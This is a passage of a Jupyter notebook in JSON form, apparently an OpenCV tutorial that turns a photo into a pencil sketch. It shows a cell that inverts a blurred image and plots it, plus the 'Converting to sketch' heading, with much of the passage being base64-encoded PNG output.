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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "inv_blur_img = cv2.bitwise_not(blur_img)\n", - "inv_blur_rgb_img = cv2.cvtColor(inv_blur_img, cv2.COLOR_BGR2RGB)\n", - "plt.imshow(inv_blur_rgb_img)" - ] - }, - { - "cell_type": "markdown", - "id": "6b607e2f", - "metadata": {}, - "source": [ - "### Converting to sketch" - ] - }, - { - "cell_type": "code", - "execution_count": 24, - "id": "9b862122", - "metadata": { - "scrolled": true - }, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 24, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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